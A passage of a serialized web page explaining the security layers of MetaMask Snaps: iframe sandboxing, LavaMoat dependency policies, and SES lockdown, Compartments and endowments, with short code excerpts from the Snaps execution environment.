:3825},{"type":23,"tag":41,"props":36806,"children":36807},{"class":43,"line":85},[36808],{"type":23,"tag":41,"props":36809,"children":36810},{"emptyLinePlaceholder":18},[36811],{"type":28,"value":82},{"type":23,"tag":41,"props":36813,"children":36814},{"class":43,"line":105},[36815,36819,36823,36828],{"type":23,"tag":41,"props":36816,"children":36817},{"style":58},[36818],{"type":28,"value":2440},{"type":23,"tag":41,"props":36820,"children":36821},{"style":70},[36822],{"type":28,"value":142},{"type":23,"tag":41,"props":36824,"children":36825},{"style":858},[36826],{"type":28,"value":36827},"sandbox",{"type":23,"tag":41,"props":36829,"children":36830},{"style":70},[36831],{"type":28,"value":152},{"type":23,"tag":41,"props":36833,"children":36834},{"class":43,"line":155},[36835,36840,36844,36848,36852,36857,36861,36866],{"type":23,"tag":41,"props":36836,"children":36837},{"style":858},[36838],{"type":28,"value":36839},"      iframe",{"type":23,"tag":41,"props":36841,"children":36842},{"style":70},[36843],{"type":28,"value":706},{"type":23,"tag":41,"props":36845,"children":36846},{"style":114},[36847],{"type":28,"value":36746},{"type":23,"tag":41,"props":36849,"children":36850},{"style":70},[36851],{"type":28,"value":1737},{"type":23,"tag":41,"props":36853,"children":36854},{"style":735},[36855],{"type":28,"value":36856},"'sandbox'",{"type":23,"tag":41,"props":36858,"children":36859},{"style":70},[36860],{"type":28,"value":970},{"type":23,"tag":41,"props":36862,"children":36863},{"style":735},[36864],{"type":28,"value":36865},"'allow-scripts'",{"type":23,"tag":41,"props":36867,"children":36868},{"style":70},[36869],{"type":28,"value":3825},{"type":23,"tag":41,"props":36871,"children":36872},{"class":43,"line":186},[36873],{"type":23,"tag":41,"props":36874,"children":36875},{"style":70},[36876],{"type":28,"value":192},{"type":23,"tag":41,"props":36878,"children":36879},{"class":43,"line":195},[36880,36884,36888,36892,36896,36901,36905,36910],{"type":23,"tag":41,"props":36881,"children":36882},{"style":858},[36883],{"type":28,"value":36737},{"type":23,"tag":41,"props":36885,"children":36886},{"style":70},[36887],{"type":28,"value":706},{"type":23,"tag":41,"props":36889,"children":36890},{"style":114},[36891],{"type":28,"value":36746},{"type":23,"tag":41,"props":36893,"children":36894},{"style":70},[36895],{"type":28,"value":1737},{"type":23,"tag":41,"props":36897,"children":36898},{"style":735},[36899],{"type":28,"value":36900},"'src'",{"type":23,"tag":41,"props":36902,"children":36903},{"style":70},[36904],{"type":28,"value":970},{"type":23,"tag":41,"props":36906,"children":36907},{"style":858},[36908],{"type":28,"value":36909},"uri",{"type":23,"tag":41,"props":36911,"children":36912},{"style":70},[36913],{"type":28,"value":3825},{"type":23,"tag":41,"props":36915,"children":36916},{"class":43,"line":905},[36917,36921,36925,36929,36933,36938,36942,36947],{"type":23,"tag":41,"props":36918,"children":36919},{"style":858},[36920],{"type":28,"value":34667},{"type":23,"tag":41,"props":36922,"children":36923},{"style":70},[36924],{"type":28,"value":706},{"type":23,"tag":41,"props":36926,"children":36927},{"style":858},[36928],{"type":28,"value":32394},{"type":23,"tag":41,"props":36930,"children":36931},{"style":70},[36932],{"type":28,"value":706},{"type":23,"tag":41,"props":36934,"children":36935},{"style":114},[36936],{"type":28,"value":36937},"appendChild",{"type":23,"tag":41,"props":36939,"children":36940},{"style":70},[36941],{"type":28,"value":1737},{"type":23,"tag":41,"props":36943,"children":36944},{"style":858},[36945],{"type":28,"value":36946},"iframe",{"type":23,"tag":41,"props":36948,"children":36949},{"style":70},[36950],{"type":28,"value":3825},{"type":23,"tag":24,"props":36952,"children":36953},{},[36954],{"type":28,"value":36955},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":546,"props":36957,"children":36959},{"id":36958},"lavamoat-against-supply-chain-attacks-layer-2",[36960],{"type":28,"value":36961},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":36963,"children":36964},{},[36965],{"type":28,"value":36966},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":36968,"children":36969},{},[36970,36972,36978],{"type":28,"value":36971},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":37,"props":36973,"children":36975},{"className":36974},[],[36976],{"type":28,"value":36977},"fs",{"type":28,"value":36979},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":36981,"children":36982},{},[36983],{"type":28,"value":36984},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":36986,"children":36987},{},[36988,36990,36997],{"type":28,"value":36989},"This is how a Policy file related to the iframes ",{"type":23,"tag":458,"props":36991,"children":36994},{"href":36992,"rel":36993},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[462],[36995],{"type":28,"value":36996},"looks",{"type":28,"value":1474},{"type":23,"tag":31,"props":36999,"children":37001},{"className":33989,"code":37000,"language":33991,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[37002],{"type":23,"tag":37,"props":37003,"children":37004},{"__ignoreMap":7},[37005,37018,37030,37050,37070,37090,37110,37130,37150,37170,37187,37195,37207,37227,37243,37250],{"type":23,"tag":41,"props":37006,"children":37007},{"class":43,"line":44},[37008,37013],{"type":23,"tag":41,"props":37009,"children":37010},{"style":735},[37011],{"type":28,"value":37012},"\"@metamask/post-message-stream\"",{"type":23,"tag":41,"props":37014,"children":37015},{"style":70},[37016],{"type":28,"value":37017},": {\n",{"type":23,"tag":41,"props":37019,"children":37020},{"class":43,"line":54},[37021,37026],{"type":23,"tag":41,"props":37022,"children":37023},{"style":858},[37024],{"type":28,"value":37025},"      \"globals\"",{"type":23,"tag":41,"props":37027,"children":37028},{"style":70},[37029],{"type":28,"value":37017},{"type":23,"tag":41,"props":37031,"children":37032},{"class":43,"line":76},[37033,37038,37042,37046],{"type":23,"tag":41,"props":37034,"children":37035},{"style":858},[37036],{"type":28,"value":37037},"        \"MessageEvent.prototype\"",{"type":23,"tag":41,"props":37039,"children":37040},{"style":70},[37041],{"type":28,"value":1418},{"type":23,"tag":41,"props":37043,"children":37044},{"style":64},[37045],{"type":28,"value":3996},{"type":23,"tag":41,"props":37047,"children":37048},{"style":70},[37049],{"type":28,"value":3506},{"type":23,"tag":41,"props":37051,"children":37052},{"class":43,"line":85},[37053,37058,37062,37066],{"type":23,"tag":41,"props":37054,"children":37055},{"style":858},[37056],{"type":28,"value":37057},"        \"WorkerGlobalScope\"",{"type":23,"tag":41,"props":37059,"children":37060},{"style":70},[37061],{"type":28,"value":1418},{"type":23,"tag":41,"props":37063,"children":37064},{"style":64},[37065],{"type":28,"value":3996},{"type":23,"tag":41,"props":37067,"children":37068},{"style":70},[37069],{"type":28,"value":3506},{"type":23,"tag":41,"props":37071,"children":37072},{"class":43,"line":105},[37073,37078,37082,37086],{"type":23,"tag":41,"props":37074,"children":37075},{"style":858},[37076],{"type":28,"value":37077},"        \"addEventListener\"",{"type":23,"tag":41,"props":37079,"children":37080},{"style":70},[37081],{"type":28,"value":1418},{"type":23,"tag":41,"props":37083,"children":37084},{"style":64},[37085],{"type":28,"value":3996},{"type":23,"tag":41,"props":37087,"children":37088},{"style":70},[37089],{"type":28,"value":3506},{"type":23,"tag":41,"props":37091,"children":37092},{"class":43,"line":155},[37093,37098,37102,37106],{"type":23,"tag":41,"props":37094,"children":37095},{"style":858},[37096],{"type":28,"value":37097},"        \"browser\"",{"type":23,"tag":41,"props":37099,"children":37100},{"style":70},[37101],{"type":28,"value":1418},{"type":23,"tag":41,"props":37103,"children":37104},{"style":64},[37105],{"type":28,"value":3996},{"type":23,"tag":41,"props":37107,"children":37108},{"style":70},[37109],{"type":28,"value":3506},{"type":23,"tag":41,"props":37111,"children":37112},{"class":43,"line":186},[37113,37118,37122,37126],{"type":23,"tag":41,"props":37114,"children":37115},{"style":858},[37116],{"type":28,"value":37117},"        \"chrome\"",{"type":23,"tag":41,"props":37119,"children":37120},{"style":70},[37121],{"type":28,"value":1418},{"type":23,"tag":41,"props":37123,"children":37124},{"style":64},[37125],{"type":28,"value":3996},{"type":23,"tag":41,"props":37127,"children":37128},{"style":70},[37129],{"type":28,"value":3506},{"type":23,"tag":41,"props":37131,"children":37132},{"class":43,"line":195},[37133,37138,37142,37146],{"type":23,"tag":41,"props":37134,"children":37135},{"style":858},[37136],{"type":28,"value":37137},"        \"location.origin\"",{"type":23,"tag":41,"props":37139,"children":37140},{"style":70},[37141],{"type":28,"value":1418},{"type":23,"tag":41,"props":37143,"children":37144},{"style":64},[37145],{"type":28,"value":3996},{"type":23,"tag":41,"props":37147,"children":37148},{"style":70},[37149],{"type":28,"value":3506},{"type":23,"tag":41,"props":37151,"children":37152},{"class":43,"line":905},[37153,37158,37162,37166],{"type":23,"tag":41,"props":37154,"children":37155},{"style":858},[37156],{"type":28,"value":37157},"        \"postMessage\"",{"type":23,"tag":41,"props":37159,"children":37160},{"style":70},[37161],{"type":28,"value":1418},{"type":23,"tag":41,"props":37163,"children":37164},{"style":64},[37165],{"type":28,"value":3996},{"type":23,"tag":41,"props":37167,"children":37168},{"style":70},[37169],{"type":28,"value":3506},{"type":23,"tag":41,"props":37171,"children":37172},{"class":43,"line":922},[37173,37178,37182],{"type":23,"tag":41,"props":37174,"children":37175},{"style":858},[37176],{"type":28,"value":37177},"        \"removeEventListener\"",{"type":23,"tag":41,"props":37179,"children":37180},{"style":70},[37181],{"type":28,"value":1418},{"type":23,"tag":41,"props":37183,"children":37184},{"style":64},[37185],{"type":28,"value":37186},"true\n",{"type":23,"tag":41,"props":37188,"children":37189},{"class":43,"line":930},[37190],{"type":23,"tag":41,"props":37191,"children":37192},{"style":70},[37193],{"type":28,"value":37194},"      },\n",{"type":23,"tag":41,"props":37196,"children":37197},{"class":43,"line":939},[37198,37203],{"type":23,"tag":41,"props":37199,"children":37200},{"style":858},[37201],{"type":28,"value":37202},"      \"packages\"",{"type":23,"tag":41,"props":37204,"children":37205},{"style":70},[37206],{"type":28,"value":37017},{"type":23,"tag":41,"props":37208,"children":37209},{"class":43,"line":947},[37210,37215,37219,37223],{"type":23,"tag":41,"props":37211,"children":37212},{"style":858},[37213],{"type":28,"value":37214},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":41,"props":37216,"children":37217},{"style":70},[37218],{"type":28,"value":1418},{"type":23,"tag":41,"props":37220,"children":37221},{"style":64},[37222],{"type":28,"value":3996},{"type":23,"tag":41,"props":37224,"children":37225},{"style":70},[37226],{"type":28,"value":3506},{"type":23,"tag":41,"props":37228,"children":37229},{"class":43,"line":985},[37230,37235,37239],{"type":23,"tag":41,"props":37231,"children":37232},{"style":858},[37233],{"type":28,"value":37234},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":41,"props":37236,"children":37237},{"style":70},[37238],{"type":28,"value":1418},{"type":23,"tag":41,"props":37240,"children":37241},{"style":64},[37242],{"type":28,"value":37186},{"type":23,"tag":41,"props":37244,"children":37245},{"class":43,"line":1058},[37246],{"type":23,"tag":41,"props":37247,"children":37248},{"style":70},[37249],{"type":28,"value":12659},{"type":23,"tag":41,"props":37251,"children":37252},{"class":43,"line":1084},[37253],{"type":23,"tag":41,"props":37254,"children":37255},{"style":70},[37256],{"type":28,"value":192},{"type":23,"tag":24,"props":37258,"children":37259},{},[37260,37262,37268,37270,37276,37278,37284,37286,37292,37293,37299],{"type":28,"value":37261},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":37,"props":37263,"children":37265},{"className":37264},[],[37266],{"type":28,"value":37267},"globals",{"type":28,"value":37269}," section, is the ",{"type":23,"tag":37,"props":37271,"children":37273},{"className":37272},[],[37274],{"type":28,"value":37275},"packages",{"type":28,"value":37277}," segment. This section permits the ",{"type":23,"tag":37,"props":37279,"children":37281},{"className":37280},[],[37282],{"type":28,"value":37283},"@metamask/post-message-stream",{"type":28,"value":37285},"package to exclusively interact with the package ",{"type":23,"tag":37,"props":37287,"children":37289},{"className":37288},[],[37290],{"type":28,"value":37291},"@metamask/utils",{"type":28,"value":1361},{"type":23,"tag":37,"props":37294,"children":37296},{"className":37295},[],[37297],{"type":28,"value":37298},"readable-stream",{"type":28,"value":37300},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":37302,"children":37303},{},[37304,37306,37312],{"type":28,"value":37305},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":37,"props":37307,"children":37309},{"className":37308},[],[37310],{"type":28,"value":37311},"lockdown",{"type":28,"value":37313}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":546,"props":37315,"children":37317},{"id":37316},"secure-ecmascript-ses-sandbox-layer-3",[37318],{"type":28,"value":37319},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":37321,"children":37322},{},[37323,37325,37332],{"type":28,"value":37324},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":458,"props":37326,"children":37329},{"href":37327,"rel":37328},"https://github.com/endojs/endo/tree/master/packages/ses",[462],[37330],{"type":28,"value":37331},"Secure EcmaScript (SES)",{"type":28,"value":37333}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":18881,"props":37335,"children":37337},{"id":37336},"ses-fundamentals",[37338],{"type":28,"value":37339},"SES Fundamentals",{"type":23,"tag":37341,"props":37342,"children":37343},"h5",{"id":37311},[37344],{"type":28,"value":37345},"Lockdown",{"type":23,"tag":24,"props":37347,"children":37348},{},[37349,37351,37357],{"type":28,"value":37350},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":37,"props":37352,"children":37354},{"className":37353},[],[37355],{"type":28,"value":37356},"lockdown()",{"type":28,"value":37358}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":5436,"props":37360,"children":37361},{},[37362,37375],{"type":23,"tag":421,"props":37363,"children":37364},{},[37365,37367,37373],{"type":28,"value":37366},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":37,"props":37368,"children":37370},{"className":37369},[],[37371],{"type":28,"value":37372},"Object.freeze",{"type":28,"value":37374}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":421,"props":37376,"children":37377},{},[37378,37380,37386,37388,37394],{"type":28,"value":37379},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":37,"props":37381,"children":37383},{"className":37382},[],[37384],{"type":28,"value":37385},"trace",{"type":28,"value":37387}," attribute in an ",{"type":23,"tag":37,"props":37389,"children":37391},{"className":37390},[],[37392],{"type":28,"value":37393},"Error",{"type":28,"value":37395}," object, which contains the stack trace of the error.",{"type":23,"tag":37341,"props":37397,"children":37399},{"id":37398},"compartment",[37400],{"type":28,"value":37401},"Compartment",{"type":23,"tag":24,"props":37403,"children":37404},{},[37405,37407,37413,37415,37420],{"type":28,"value":37406},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":37,"props":37408,"children":37410},{"className":37409},[],[37411],{"type":28,"value":37412},"globalThis",{"type":28,"value":37414}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":37,"props":37416,"children":37418},{"className":37417},[],[37419],{"type":28,"value":37412},{"type":28,"value":37421}," context is incapable of tampering with security.",{"type":23,"tag":31,"props":37423,"children":37425},{"className":35608,"code":37424,"language":35610,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[37426],{"type":23,"tag":37,"props":37427,"children":37428},{"__ignoreMap":7},[37429,37458,37491],{"type":23,"tag":41,"props":37430,"children":37431},{"class":43,"line":44},[37432,37436,37441,37445,37449,37454],{"type":23,"tag":41,"props":37433,"children":37434},{"style":64},[37435],{"type":28,"value":846},{"type":23,"tag":41,"props":37437,"children":37438},{"style":858},[37439],{"type":28,"value":37440}," c",{"type":23,"tag":41,"props":37442,"children":37443},{"style":170},[37444],{"type":28,"value":3017},{"type":23,"tag":41,"props":37446,"children":37447},{"style":64},[37448],{"type":28,"value":31927},{"type":23,"tag":41,"props":37450,"children":37451},{"style":114},[37452],{"type":28,"value":37453}," Compartment",{"type":23,"tag":41,"props":37455,"children":37456},{"style":70},[37457],{"type":28,"value":3669},{"type":23,"tag":41,"props":37459,"children":37460},{"class":43,"line":54},[37461,37465,37469,37473,37477,37482,37486],{"type":23,"tag":41,"props":37462,"children":37463},{"style":858},[37464],{"type":28,"value":3146},{"type":23,"tag":41,"props":37466,"children":37467},{"style":70},[37468],{"type":28,"value":706},{"type":23,"tag":41,"props":37470,"children":37471},{"style":858},[37472],{"type":28,"value":37412},{"type":23,"tag":41,"props":37474,"children":37475},{"style":170},[37476],{"type":28,"value":31416},{"type":23,"tag":41,"props":37478,"children":37479},{"style":858},[37480],{"type":28,"value":37481}," globalThis",{"type":23,"tag":41,"props":37483,"children":37484},{"style":70},[37485],{"type":28,"value":17213},{"type":23,"tag":41,"props":37487,"children":37488},{"style":48},[37489],{"type":28,"value":37490},"// false\n",{"type":23,"tag":41,"props":37492,"children":37493},{"class":43,"line":76},[37494,37498,37502,37506,37510,37515,37519,37524,37528],{"type":23,"tag":41,"props":37495,"children":37496},{"style":858},[37497],{"type":28,"value":3146},{"type":23,"tag":41,"props":37499,"children":37500},{"style":70},[37501],{"type":28,"value":706},{"type":23,"tag":41,"props":37503,"children":37504},{"style":858},[37505],{"type":28,"value":37412},{"type":23,"tag":41,"props":37507,"children":37508},{"style":70},[37509],{"type":28,"value":706},{"type":23,"tag":41,"props":37511,"children":37512},{"style":858},[37513],{"type":28,"value":37514},"JSON",{"type":23,"tag":41,"props":37516,"children":37517},{"style":170},[37518],{"type":28,"value":31416},{"type":23,"tag":41,"props":37520,"children":37521},{"style":858},[37522],{"type":28,"value":37523}," JSON",{"type":23,"tag":41,"props":37525,"children":37526},{"style":70},[37527],{"type":28,"value":17213},{"type":23,"tag":41,"props":37529,"children":37530},{"style":48},[37531],{"type":28,"value":37532},"// true\n",{"type":23,"tag":24,"props":37534,"children":37535},{},[37536,37538,37544,37546,37552,37554,37559],{"type":28,"value":37537},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":37,"props":37539,"children":37541},{"className":37540},[],[37542],{"type":28,"value":37543},"eval",{"type":28,"value":37545}," and the ",{"type":23,"tag":37,"props":37547,"children":37549},{"className":37548},[],[37550],{"type":28,"value":37551},"Function",{"type":28,"value":37553}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":37,"props":37555,"children":37557},{"className":37556},[],[37558],{"type":28,"value":37412},{"type":28,"value":706},{"type":23,"tag":37341,"props":37561,"children":37563},{"id":37562},"endowments",[37564],{"type":28,"value":37565},"Endowments",{"type":23,"tag":24,"props":37567,"children":37568},{},[37569,37571,37575,37577,37582],{"type":28,"value":37570},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":2913,"props":37572,"children":37573},{},[37574],{"type":28,"value":37562},{"type":28,"value":37576},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":37,"props":37578,"children":37580},{"className":37579},[],[37581],{"type":28,"value":37412},{"type":28,"value":37583},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":37585,"children":37586},{},[37587,37589,37595],{"type":28,"value":37588},"In addition, SES provides the ",{"type":23,"tag":37,"props":37590,"children":37592},{"className":37591},[],[37593],{"type":28,"value":37594},"harden()",{"type":28,"value":37596}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":18881,"props":37598,"children":37600},{"id":37599},"setting-up-snaps-execution-env",[37601],{"type":28,"value":37602},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":37604,"children":37605},{},[37606],{"type":28,"value":37607},"When starting a snap, the setup follows these steps:",{"type":23,"tag":5436,"props":37609,"children":37610},{},[37611],{"type":23,"tag":421,"props":37612,"children":37613},{},[37614],{"type":23,"tag":510,"props":37615,"children":37616},{},[37617,37619],{"type":28,"value":37618},"Create endowments based on snap ",{"type":23,"tag":458,"props":37620,"children":37623},{"href":37621,"rel":37622},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[462],[37624],{"type":28,"value":37625},"permissions",{"type":23,"tag":31,"props":37627,"children":37629},{"className":35608,"code":37628,"language":35610,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[37630],{"type":23,"tag":37,"props":37631,"children":37632},{"__ignoreMap":7},[37633,37683,37695,37706,37718,37730],{"type":23,"tag":41,"props":37634,"children":37635},{"class":43,"line":44},[37636,37640,37644,37648,37652,37657,37661,37666,37670,37674,37679],{"type":23,"tag":41,"props":37637,"children":37638},{"style":64},[37639],{"type":28,"value":846},{"type":23,"tag":41,"props":37641,"children":37642},{"style":70},[37643],{"type":28,"value":9584},{"type":23,"tag":41,"props":37645,"children":37646},{"style":858},[37647],{"type":28,"value":37562},{"type":23,"tag":41,"props":37649,"children":37650},{"style":70},[37651],{"type":28,"value":970},{"type":23,"tag":41,"props":37653,"children":37654},{"style":858},[37655],{"type":28,"value":37656},"teardown",{"type":23,"tag":41,"props":37658,"children":37659},{"style":70},[37660],{"type":28,"value":1418},{"type":23,"tag":41,"props":37662,"children":37663},{"style":858},[37664],{"type":28,"value":37665},"endowmentTeardown",{"type":23,"tag":41,"props":37667,"children":37668},{"style":70},[37669],{"type":28,"value":36197},{"type":23,"tag":41,"props":37671,"children":37672},{"style":170},[37673],{"type":28,"value":2381},{"type":23,"tag":41,"props":37675,"children":37676},{"style":114},[37677],{"type":28,"value":37678}," createEndowments",{"type":23,"tag":41,"props":37680,"children":37681},{"style":70},[37682],{"type":28,"value":3461},{"type":23,"tag":41,"props":37684,"children":37685},{"class":43,"line":54},[37686,37691],{"type":23,"tag":41,"props":37687,"children":37688},{"style":858},[37689],{"type":28,"value":37690},"    snap",{"type":23,"tag":41,"props":37692,"children":37693},{"style":70},[37694],{"type":28,"value":3506},{"type":23,"tag":41,"props":37696,"children":37697},{"class":43,"line":76},[37698,37702],{"type":23,"tag":41,"props":37699,"children":37700},{"style":858},[37701],{"type":28,"value":31478},{"type":23,"tag":41,"props":37703,"children":37704},{"style":70},[37705],{"type":28,"value":3506},{"type":23,"tag":41,"props":37707,"children":37708},{"class":43,"line":85},[37709,37714],{"type":23,"tag":41,"props":37710,"children":37711},{"style":858},[37712],{"type":28,"value":37713},"    snapId",{"type":23,"tag":41,"props":37715,"children":37716},{"style":70},[37717],{"type":28,"value":3506},{"type":23,"tag":41,"props":37719,"children":37720},{"class":43,"line":105},[37721,37726],{"type":23,"tag":41,"props":37722,"children":37723},{"style":858},[37724],{"type":28,"value":37725},"    _endowments",{"type":23,"tag":41,"props":37727,"children":37728},{"style":70},[37729],{"type":28,"value":3506},{"type":23,"tag":41,"props":37731,"children":37732},{"class":43,"line":155},[37733],{"type":23,"tag":41,"props":37734,"children":37735},{"style":70},[37736],{"type":28,"value":3825},{"type":23,"tag":24,"props":37738,"children":37739},{},[37740],{"type":28,"value":37741},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":37743,"children":37744},{},[37745,37747,37753,37755,37761],{"type":28,"value":37746},"One clear example is the ",{"type":23,"tag":37,"props":37748,"children":37750},{"className":37749},[],[37751],{"type":28,"value":37752},"endowment:network-access",{"type":28,"value":37754}," permission, that adds the ",{"type":23,"tag":37,"props":37756,"children":37758},{"className":37757},[],[37759],{"type":28,"value":37760},"fetch()",{"type":28,"value":37762}," function to the endowments.",{"type":23,"tag":24,"props":37764,"children":37765},{},[37766,37768,37774],{"type":28,"value":37767},"All endowments are protected with the ",{"type":23,"tag":37,"props":37769,"children":37771},{"className":37770},[],[37772],{"type":28,"value":37773},"harden",{"type":28,"value":37775}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":5436,"props":37777,"children":37778},{"start":54},[37779],{"type":23,"tag":421,"props":37780,"children":37781},{},[37782],{"type":23,"tag":510,"props":37783,"children":37784},{},[37785,37787],{"type":28,"value":37786},"Create the snap ",{"type":23,"tag":458,"props":37788,"children":37791},{"href":37789,"rel":37790},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[462],[37792],{"type":28,"value":37398},{"type":23,"tag":31,"props":37794,"children":37796},{"className":35608,"code":37795,"language":35610,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[37797],{"type":23,"tag":37,"props":37798,"children":37799},{"__ignoreMap":7},[37800,37828,37844,37861,37886],{"type":23,"tag":41,"props":37801,"children":37802},{"class":43,"line":44},[37803,37807,37812,37816,37820,37824],{"type":23,"tag":41,"props":37804,"children":37805},{"style":64},[37806],{"type":28,"value":846},{"type":23,"tag":41,"props":37808,"children":37809},{"style":858},[37810],{"type":28,"value":37811}," compartment",{"type":23,"tag":41,"props":37813,"children":37814},{"style":170},[37815],{"type":28,"value":3017},{"type":23,"tag":41,"props":37817,"children":37818},{"style":64},[37819],{"type":28,"value":31927},{"type":23,"tag":41,"props":37821,"children":37822},{"style":114},[37823],{"type":28,"value":37453},{"type":23,"tag":41,"props":37825,"children":37826},{"style":70},[37827],{"type":28,"value":15132},{"type":23,"tag":41,"props":37829,"children":37830},{"class":43,"line":54},[37831,37836,37840],{"type":23,"tag":41,"props":37832,"children":37833},{"style":170},[37834],{"type":28,"value":37835},"    ...",{"type":23,"tag":41,"props":37837,"children":37838},{"style":858},[37839],{"type":28,"value":37562},{"type":23,"tag":41,"props":37841,"children":37842},{"style":70},[37843],{"type":28,"value":3506},{"type":23,"tag":41,"props":37845,"children":37846},{"class":43,"line":76},[37847,37852,37857],{"type":23,"tag":41,"props":37848,"children":37849},{"style":858},[37850],{"type":28,"value":37851},"    module:",{"type":23,"tag":41,"props":37853,"children":37854},{"style":858},[37855],{"type":28,"value":37856}," snapModule",{"type":23,"tag":41,"props":37858,"children":37859},{"style":70},[37860],{"type":28,"value":3506},{"type":23,"tag":41,"props":37862,"children":37863},{"class":43,"line":85},[37864,37869,37873,37877,37882],{"type":23,"tag":41,"props":37865,"children":37866},{"style":858},[37867],{"type":28,"value":37868},"    exports:",{"type":23,"tag":41,"props":37870,"children":37871},{"style":858},[37872],{"type":28,"value":37856},{"type":23,"tag":41,"props":37874,"children":37875},{"style":70},[37876],{"type":28,"value":706},{"type":23,"tag":41,"props":37878,"children":37879},{"style":858},[37880],{"type":28,"value":37881},"exports",{"type":23,"tag":41,"props":37883,"children":37884},{"style":70},[37885],{"type":28,"value":3506},{"type":23,"tag":41,"props":37887,"children":37888},{"class":43,"line":105},[37889],{"type":23,"tag":41,"props":37890,"children":37891},{"style":70},[37892],{"type":28,"value":35332},{"type":23,"tag":24,"props":37894,"children":37895},{},[37896,37898,37904,37905,37910,37912,37917],{"type":28,"value":37897},"Note: ",{"type":23,"tag":37,"props":37899,"children":37901},{"className":37900},[],[37902],{"type":28,"value":37903},"module",{"type":28,"value":1361},{"type":23,"tag":37,"props":37906,"children":37908},{"className":37907},[],[37909],{"type":28,"value":37881},{"type":28,"value":37911}," are passed as endowments, but without being ",{"type":23,"tag":2913,"props":37913,"children":37914},{},[37915],{"type":28,"value":37916},"hardened",{"type":28,"value":37918},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":5436,"props":37920,"children":37921},{"start":76},[37922],{"type":23,"tag":421,"props":37923,"children":37924},{},[37925],{"type":23,"tag":510,"props":37926,"children":37927},{},[37928,37930],{"type":28,"value":37929},"Evaluate the snap code inside the ",{"type":23,"tag":458,"props":37931,"children":37934},{"href":37932,"rel":37933},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[462],[37935],{"type":28,"value":37398},{"type":23,"tag":31,"props":37937,"children":37939},{"className":35608,"code":37938,"language":35610,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, 